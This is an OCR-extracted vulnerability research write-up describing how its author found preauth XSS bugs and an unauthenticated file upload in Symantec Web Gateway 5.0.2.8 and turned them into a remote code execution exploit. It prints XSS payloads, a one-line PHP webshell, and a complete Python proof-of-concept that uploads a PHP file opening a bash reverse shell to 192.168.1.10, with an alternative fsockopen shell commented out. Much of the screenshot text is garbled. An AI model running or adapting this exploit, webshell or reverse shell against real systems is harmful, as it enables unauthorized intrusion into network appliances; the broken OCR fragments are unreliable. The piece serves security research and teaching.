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Intro

In this document I'll describe how | found RCE bugs in Symantec Web Gateway 5.0.2.8. This
time [1] we will talk about the bug available for unauthorized users. Reader — with the basic
knowledge of python language and OWASP TOP 10 - will be able to continue and should be able to
understand the whole idea of creating ,,quick poc” described below. In the final stage we will end up
with the fully working preauth RCE exploit.

Enjoy and have fun! ;)

Cody


https://code610.blogspot.com/2020/03/postauth-rce-in-symantec-web-gateway.html
https://twitter.com/CodySixteen

Environment

In my little laboratory | used similar environment that | used during the last research. In my
VirtualBox | prepared:

e Kali Linux — with all my scripts and tools (we will also use it as a jumphost)
In the VMPlayer | prepared:
e Symantec Web Gateway 5.0.2.8

When your Gateway VM is ready to go we need to ‘fix’ one thing to continue. Log in as root and
check if in your webroot directory (/var/www/html/) you can find uploads folder.

If you can not — create it and make it writable. This is the only way this exploit scenario will work.

Both machines should see each other (which means that both of them should be connected to the
one network — most of time I’'m using bridge network settings when I’'m doing some research on
VirtualBox, so it should work for you as well).

Next...



Preparing (the basics)

What’s really important to continue:

e  You are familiar with the basic python programming concepts [3]

e You understand how to create basic python client and/or server [4]
e You are familiar with requests[5]

e You understand what is a ,,reverse shell” [6]

If for all of those ,,requirements” your answer is ‘yes’ —you are on a very straight way to building
your initial poc! ;)

But if you're not — don’t worry. Reading all of this can be a little bit overwhelming if you’re new to
the python programming but | believe that practicing step-by-step and part-by-part will give you
results you want to achieve. Sooner than you think. ;)

Take your time and read the manual(s). I'm ready when you are.


https://www.learnpython.org/
https://realpython.com/python-sockets/
https://requests.readthedocs.io/en/master/
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Initial ,proof-of-concept”

Ok. Assuming you already know how to build a small python web client let’s connect to Symantec
Web Gateway via SSH. We should be on the same step as before[1]:

ntab -u . = ami™) . ) -V

. $min . . $hour . . $dayOfMonth ." ". %

Ok but as you probably remember — we already done that last time.

So | decided to try a new approach and this time when | was connected to the VM (via ssh) | listed
web root of the Gateway:

updat
update_r

[

1
1
1
1
1
1
1
1
1
1
1
1
1
1

117# 1s -1 | g

To do that | used simple command:

| $1s-I | grep —e ,\.php” |

| listed all PHP files inside webroot to prepare a list to use it later with Burp Suite. But to do that, first
of all | need to clean my filelist log (history output):


https://code610.blogspot.com/2020/03/postauth-rce-in-symantec-web-gateway.html

tmpfilel

tmpfilel

tmpfilel

tmpfilel

tmpfilel -

tmpf "o-f > tmpfile2

tmpfil

tmpfil -

tmpfil "o > tmpfile3
tmpfil " )

tmpfil " -f 1 >> tmpfile3
tmpfil "o

tmpfil " > tmpfile3

tmpfiled

So far, so good. Withe tmpfile4 (list of our PHP files) | prepared a new file (this time on my Windows
where | started Burp Suite) — swglist.txt (simply copy/paste of found files):

J swglist.bat — Notatnik

Plik Edycja Format Widok
uploader.php
user.php
user_report.php
userselector.php
verifyGW.php
vlan.php
whitelist.php
wizardla.php
wizardlb.php
wizardlc.php
wizard1l.php

graph_data.php

Next thing was to prepare my browser to use Burp as a proxy and go to the address of Symantec
Web Gateway to intercept the request and send it to Intruder. Next step is to add our new created
list of files to Burp’s Intruder:



[ Dashboard | Target | Proxy [ intruder | Repeater | sequencer | Decoder | comparer

@

@

Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attaci

in different ways.

Payload set | 1 l¥]  Payload count: 149
Payload type: LSlnple list l!] Request count: 149

Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste | admin_messages.php

| admin_status php

| blackiist.php

Remove ‘ blocked.php

browseTime.php
Clear | custom_report.php
| deptTime.php
| edit_alert.php

Load ... | admin_updates.php

Add Enter a new tem

| Add from list ...

What we are doing here is called simple enumeration. Similar results you should achieve using
gobuster or dirb (available on default Kali installation). After a while we should see some results:

1 editRole.php 200 O 0 O 559 (@] @] @] o
12 edit_sysalert.php 200 O 0 ) 574 ] ] (0] (0]
13 eula.php 200 a 0 ] 131833 a 4] (€] €4}
14 graphs.inc.php 200 O 0 ] 160 a a a a
15 languageT est php 200 O 0 O 32510 a (@] (@] o
16 new_whitelist.php 200 O 0 O 574 (@] (@] o o
17 prepare_executive_summary_g... 200 a 0 g 160 a a (@] (@]
18 restoreQ ption.php 200 O 0 ] 574 ()] ()] (] ()
19 saved_alerts.php 200 a 0 o 573 a (0] (@] o
20 save_report.php 200 O 0 ] 572 a a a a
21 schedule_backup.php 200 O 0 O 576 a a a a
22 showfixed.php 200 O 0 O 570 @] @] @] @]
23 timer.php 200 O 0 O 10166 o o o @
24 whitelist. php 200 O 0 ] 570 (] (] (0] (]
25 admin_ ges.php 200 a 0 o 575 g @] @] o

| was sure that if there is a small length of the response — the app is not presenting any interesting

page. (Un)fortunately it wasn’t the case here. ;)

For example:




122 send_report.php 200 (@] 0 (@] 208
120 send_backup.php 200 J o a
100 network.php 200 @] 0 @] 239
123 sendSystemAlert php 200 o 0 o 241

| Raw | Headers [ Hex [ Render |

HTTP/1.1 200 OK

Date: Fri, 27 Mar 2020 08:17:51 GMT
Server: Apache

X-Powered-By: PHP/5.3.3
Content-Length: 75

Connection: close

Content-Type: text/ntml

#!/usrflocal/bin/php -q
[2020-03-27 01:47:51] Incorrect backup parameter .

So at this stage | sorted all the responses to try each page one-by-one. | started here:

Request | Payload Status  |Error | Redire.. |Timeout | Length
13 eula.php 200 O o O 131833
37 eula.php 200 g 0 g 131833
85 eula.php 200 U 0 U 131833
128 showSquidE rrs.php 200 U 0 U 46294
15 languageTest php 200 U 0 U 32510
39 languageTest php 200 d 0 d 32510
96 languageTest php 200 U 0 U 32510
23 timer.php 200 g 0 d 10166
47 timer.php 200 d 0 dJ 10166
134 timer.php 200 J 0 J 10166

Response presented by the Burp Proxy:

=T

| Raw | Headers | Hex | HTML | Render |

HTTP/1.1 200 OK

Date: Fri, 27 Mar 2020 08:17:20 GMT
Server: Apache

X-Powered-By: PHP/5.3.3
Connection: close

Content-Type: text/htmi
Content-Length: 131668

<htmi>
<head>

<meta name=Generator content="Microsoft Word 11 (fitered)™>
<title>PART X</titlie>

<style>

<meta hitp-equiv=Content-Type content="text/htmi; charset=windows-1252">

Let’s see response in browser:




O £ hitps//192.168.216.133/spywall/eula.php

OR ITS AFFILIATES (*SYMANTEC") IS WILLING TQ LICENSE THE LICE
E CONDITION THAT YOU ACCEPT ALL OF THE TERMS QF THIS LI

ENFORCEABLE CONTRACT BETWEEN YOU AND SYMANTEC. BY O
OADING THE LICENSED SOFTWARE OR OTHERWISE USING THE LI
R “NO" BUTTON OR OTHERWISE INDICATE REFUSAL AND MAKE NO
EMENT AND SUCH CAPITALIZED TERMS MAY BE USED IN THE SINGL

t used by certain Symantec products which is updated from time to time
ists for content filtering and antiphishing products; updated firewall rules
ce products; and updated vulnerability signatures for vulnerability assessn

Looks like it works! Great. Checking next file from our responses — showSquidErrs.php:

&« & fi} © & hitps//192.168.216.133/spywall/showSquidErrs.php
p ) q php

ERR_URN_RESOLVE

@ Symantec Web Gateway

ERROR
A URL for the requested URN could not be retrieved

While trying to retrieve the URN: http://example.com
The following error was encountered:

* Cannot Resolve URN
User defined custom content wil be displayed here.

Also looking good. ;) So | decided it will be a good idea to check all of those files simultaneously in the
browser and in the Burp Suite. For example:

§ root@Webgate:fvar/www/html/spywall

mp file o
temp file n. of the format temp#
- file block
impli

: $_GET['file'];

Pretty obvious XSS bugs. It will be so easy to spot preauth XSS bug in ‘commercial appliance’? Well...



i‘f_\ https://192.168.216.133/spywall/timer.php?file=">"> <h1>asd<br>asd

Symantec Web Gateway

Scanning File for Malware: '>">
asd
asd

0 of bytes scanned.
I5) Symantec asd
Web Gatewa -
ey asd'>Click here to download.

Yes. ;] Next | switched from simple HTML injection to something more interesting — JavaScript:

https://192.168.216.133/spywall/timer.php?file=">"> <svg/onload=alert(123)>

Worked like a charm! So at this stage | was wondering how many (preauth) XSS bugs are still
available there?

To find the answer for my own question | decided to go to the next file - timer.php:

[ root@
[ root@hle

(As you can see | used grep only for _GET and _POST parameters. I’'m sure there are more vulnerable
spots, for example _SESSION, etc...)



Next file — blocked.php:

GET /spywaliblocked.php?id=">"><h1=asd<br=asd&history=-2&u= HTTP/1.1

Host: 192.168.216.133

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv.73.0) Gecko/20100101 F
Accept text/html application/xhtmi+xmi, application/xml,g=0.9, image/webp,*/*,q=0.8
Accept-Language: pl en-US;q=0.7 en;q=0.3

Accept-Encoding. gzip, deflate

Connection: close

Referer: hitps://192.168.216.133/spywallblocked% 2ephp

Cookie: PHPSESSID=0beT9d6529d44faaTdeTh3607T256463e
Upgrade-Insecure-Requests: 1

Response is presented below:

<td style="padding-left: 15px ;">
<h3=Symantec Web Gateway</h3>
<h1=Downloading unknown file is prohibited</h1=<p class=translated>The file, unknown file,

= and violates company policy.</p= =p class=translated™»
<a href="javascript:spywareinfo(*="=<h1>asd<br>asd');">Click here </a>
for more information. =p=

=p=Your IT department has been notified of your reques

So again | tried to read the code and find few more bugs (or just to get proof that this-or-that
parameter is indeed vulnerable):

bt: himisxml anndic. xmira=0 9 i *ro=0 8 l X-Py ed-Av- PHPIS 33
pt-L3 .@ root@Webgate:/var/www/html/spywall —

"1 $ GET['url'];

ibnet_profile’, "*', array('profile_id"' => $_GET[ 'profile’

> $ GET['profile’']));

Good. Next file — temppassword.php:



< C @ © & https//192.168.216.133/spywall/temppassword.php

® Ve

“ou hawe logged in using a temporary password,
Please select a new one.

Password | |

Retype Password | |

Save Cancel

Copyright @ 2004-2020 Symantec Corporation. All rights reserved.

Let’s check the target parameter then:

pder —->
eneral-header™>

<p>You have logged in using a temporary password.<br />Please select a new one.</p>
<form action="temppassword.php' method="post'>
<input type="hidden' name="target’ value=">"><svg/onload=prompt(123123)>'>
<input type="hiiden' name="USERNAME" value=">

babln mlman tnmcbond bablat

Great! Another and another XSS bug. Next file that | found can be accessible by unauthorized user is

uploader.php. The name of the file was very promising so | decided to dig a little bit deeper. On the
screen below you’ll find initial request:

& X Q O & https://192.168.216.133/spywall/uploader.php

File to upload: | Przegladaj... | meme.php Wyslij zapytanie

Burp Project Intruder Repeater Window Help
[ Dashboara | Target | frowy [ intruger | R ter | | pecoa T_c

| [(anteccent | H77P history | websockets history | Options |

& £ Request to https://192.168.216.133:443
L Forward J | Drop J Intercept is on | Action

_[ RawT Params T Headers T Hex ]

POST /spywalluploader%2ephp HTTP/1.1
Host: 192.168.216.133

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64,; x64; rv:73.0) Gecko/20100101 Firefox/
Accept: text/htmi, application/xhtmi+xmil, application/xmi;qg=0.9,image/webp,*/*;q=0.8
Accept-Language: pl.en-US;g=0.7,.en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=———————————— e —-18467633426500
Content-Length: 1424

Origin: https:/192.168.216.133

Connection: close

Referer: https://192.168.216.133/spywalllupicader®2ephp

Cocokie: PHPSESSID=6f77765d114e82682937a82765d5b3bb
Upgrade-insecure-Requests: 1

e 18467633426 500
Content-Disposition: form-data; name="clicked™

------------------------- 18467633426500
Content-Disposition: form-data; name="file"; filename="meme_php~
Content-Type: application/octet-stream

GIFs8

/*<?php /**/ error_reporting(0); Sip ="192.168.1.170"; Sport = 443; if ((Sf = "stream_socket_d

| tried very first webshell-file I'm trying to upload during webapp pentests. Response is presented on
next screenshot:



<« cC @ © & hitps//192.168.216.133/spywall/uploader.php

File to upload: = Przegladaj... = Nie wybrano pliku. Wyslij zapytanie

Copyng file /tmp/phpBYe3Ju to /var'www/html'uploads/meme. php
Failure!

Looks interesting! Why our file upload failed? My quick hint was that | used wrong extension of the
file (PHP). But it wasn’t true. ;)

Remember our ‘scenario’? So my upload failed because there was never an upload folder on the
server! ;) This is the ‘fix’ | talked at the beginning:

-n uplo:
-n uplo:

ir ../uploa
chmod 777 -R ../uplo

Now — as you can see on the screen presented below — | was able to create the file | want on remote
Gateway:

Request

ebgate:/var/www/html/spywa Raw |-ParumsTHeadersTHex 1

f cat -n u hp POST /spywalluploader%2ephp HTTP/1.1

t cat -n up r.php Host: 192.168.216.133

t pwd User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64,; x64; rv:73.0) Gecko/2010)|
Accept: text'htmi, application/xhtmi+xmi, application/xmil;q=0.9, image/webp,*/*;q
Accept-Language: pl,.en-US;q=0.7 en;qg=0.3

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundarny=—--—----emeee 1846763
Content-Length: 1415

Origin: https://192.168.216.133

Connection: close

Referer: hitps.//192.168.216.133/s pywalluploader 2ephp

Cookie: PHPSESSID=6f77765d114e82682937a82765d5b3bb
Upgrade-Insecure-Requests: 1

18467633426500
Content-Disposition: form-data; name="clicked"

oo 18467633426500
Content-Disposition: form-data; name="file"; flenarne:':"trr‘p-'meme.tx!f
Content-Type: image/jpeg

*<?php ™/ error_reporting(0); Sip ="192.168.1.170"; Sport = 443, if ((S$f = "stre|

So | decided to upload my PHP webshell again:



X ©

GIF98 /*

U &£ https

192.168.216.133/uploads/m

m
T

Great! Looks like it’s almost done ;]

Checking example with php extension:

Host: 192.168.216.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:73.0) Gecko,
Accept: text/html application/xhtmi+xmi,application/xml;g=0.9,image/w:
Accept-Language: pl.en-US;q=0.7 en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: muitipartform-data; boundary=-———————————————— 18467633426500
Content-Length: 325

Origin: https://192.168.216.133

Connection: close
Referer: https://192.168.216.133/
Cookie: PHPSESSID: >
Upgrade-Insecure-Requests: 1

Firefox/73.0

ywalluploader s 2ephp

d114e82682937a82765d5b3bt

e | BABT 633426500
Content-Disposition: form-data; name="clicked”

e 184676334 26500
e isposition: form-data; name="file"; flename="meme2 php"
Content-Type: image/jpeg

GIFg8

<?php shel_exec(S_GET[x]);
1RAB78313426500

Created again:

VAL

HTTP/1.1 200 OK

Date: Fri, 27 Mar 2020 09:39:03 GMT
Server: Apache

X-Powered-By: PHP/5.3.3
Content-Length: 321

Connection
Content-Type: text’html

close

<iitle>Upload a file! <litie>

Copying file tmp/phpHIADJQ to /var'www/htmlluploads/imeme2.php

“1# cd svarswwwshtml uploadss

uploadsI1# 1= -1

apache apache

36 Mar 27 B82:39 memeZ.php
apache apache 1122 Mar 27 B1:57 meme.php
apache apache 1122 Mar 27 B1:55 meme.txt

Good. | think it is a good moment to start preparing our exploit ;)



Weaponizing
Let’s start from the same step as we finished last section. Our goal for now is to create a proof-of-
concept code that can:

e Connect to remote webpage
e Checkif there is an /upload/ directory
e If so—upload PHP file

Simple skeleton should behave like this example presented below:

multipart.
cinput ty den'' na
ile tou HEE

]l

Copying file AtmpsphpwHmyIy to Avarswwwshimlsuplo
: #

So this time we’ll start here:

Er
to use this bug:
- uploads folder must exists on remote host
- and it must be writable

have fun

sys, re
requests
ssl
functools partial
ssl.wrap_socket = partial(ssl.wrap_socket, ssl_version=ssl.PROTOCOL_TLSv1)

target = sys.argv[1]

def main(;
print 'syma
print '
print

As you can see | used a workaround for SSL/TLS (ssl.wrap_socket). It helped me to connect to the
host. Next part of the code is presented below:



baseUrl =
uploadurl

checkBase =
check_statu

it check _status
print "[+] ta

checkUpload = r

isthereupload

target
= target + °

(target,verify=False)
.status_code

s.get(uploadUrl, verify=False)

kUpload.status code

if isthereupload ==
print "[+] uj

This poc is pretty simple so far. ;) We are preparing our baseUrl (it will be the hostname of our target

VM). Next we'll define the path to the uploads folder. If this request will work fine, the (HTTP) status
code of the response should be equal to 200.

Next — if our condition is meet — we will do the same for next URL — path to the uploads. Now if our
status_code is also equal to 200 it means that we are ready to go and we can now upload our

webshell.

As an ‘example upload’ | used sh.php filename with content ,<?php phpinfo();” to simply check if our
uploaded file can be executed when we’ll visit it using browser:

[rootBWehgate

[rootBWebgate uﬁluads]ﬁ s -1

apache apache 36 Mar 27 B82:39 memel.php

apache apache 1122 Mar 27 H1:57 meme.php
apache apache 1122 Mar 27 H1:55 meme.txt
apache apache 16 Mar 27 B2:54 sh.php

uploads 1#

Good, created. Checking the file in the browser:

# 192.168.216.133/uploads/sh.php

PHP Version 5.3.3 php

System Linux Webgate 2.6.32.63 #5 SMP Mon Jul 7 15:35:36 PDT 2014 x86_64

Build Date Sep 30 2010 15:10:09

Configure Command " fconfigure” “—with-apxs2=/usnlocal/apachez/binfapxs’ —with-mys gl —with-curl -
with-gd’ “—with-openssl “—with-zlib-dir=/usrlib’ "—enable-soap’ —disable-ipvE"

Server APl Apache 2.0 Handler

Virtual Directory disabled

Support
Jusrflocalllib

Configuration File

Great! Our next goal is preparing a working reverse shell ;] Let’s do it!



As you can see, | decided to create a tmp file with our 31337 payload (sh.php) and save it in the same
directory as our poc code.

Let’s finish our code with the last request:

@ c@kali: ~/src/eonilafseemantech

(uploadurl, veri
tatus_code

As you can see one of the upshell.write() is commented out. The reason was: | observed that
Symantec Web Gateway is filtering connection going outside the box (to ‘some weird ports’) so |

decided to change 443/tcp to something ,more popular and maybe not filtered” — port 80/tcp was
the very first guess:



shell uploaded, last stage of delirium...

Great! Now we have a fully working preauth RCE in Symantec Web Gateway 5.0.2.8.



Verifying ,proof-of-concept”
Full code is presented on the table below:

#!/usr/bin/env python

# seemantech.py - small preauth poc for symantec web gateway
#27.03.2020 by code610

#

# more : https://twitter.com/CodySixteen

# https://code610.blogspot.com

#

# to use this bug:

# - uploads folder must exists on remote host

# -and it must be writable

#

# have fun

#

import sys, re

import requests

import ssl

from functools import partial

ssl.wrap_socket = partial(ssl.wrap_socket, ssl_version=ss|.PROTOCOL_TLSv1)

target = sys.argv[1]

def main():
print 'symantec web gateway preauth rce poc'
print' seemantech.py - vs - %s' % ( target)
print "

baseUrl = target
uploadUrl = target + '/uploads/'

checkBase = requests.get(target,verify=False)
check_status = checkBase.status_code

if check_status == 200:
print '[+] target alive, checking uploads'

checkUpload = requests.get(uploadUrl, verify=False)
isthereupload = checkUpload.status_code

if isthereupload == 200:
print '[+] uploads exists! continuing...'

uploader = target + '/spywall/uploader.php'
upshell = open('sh.php','w')
upshell.write('<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/192.168.1.10/80 0>&1\'");')
#upshell.write('<?php Ssock=fsockopen("192.168.1.10",443);exec("/bin/sh -i <&3 >&3 2>&3");')
upshell.close()
up_data ={
'file':open('sh.php','rb')
}
upform = {'clicked":'yes'}
upme = requests.post(uploader, data=upform, files=up_data, verify=False)
upresp = upme.text
#print upresp

print "'
print '[+] shell uploaded, last stage of delirium...'

meshell = target + '/uploads/sh.php'
do_meshell = requests.get(meshell)




#
print 'cheers ;)'

# run me:
if _name__=='_main__"
main()

Remember to use it only during legal pentests! ;)




Summary
Idea of this paper was to help the reader with the process of finding preauth bugs in Symantec Web
Gateway and creating quick proof-of-concept exploits for RCE bugs found during the research.

Reader should now be able to (re)write the poc file and use it with other vulnerable parameters in
the application.

See you next time! ;)

Cody Sixteen


https://twitter.com/CodySixteen
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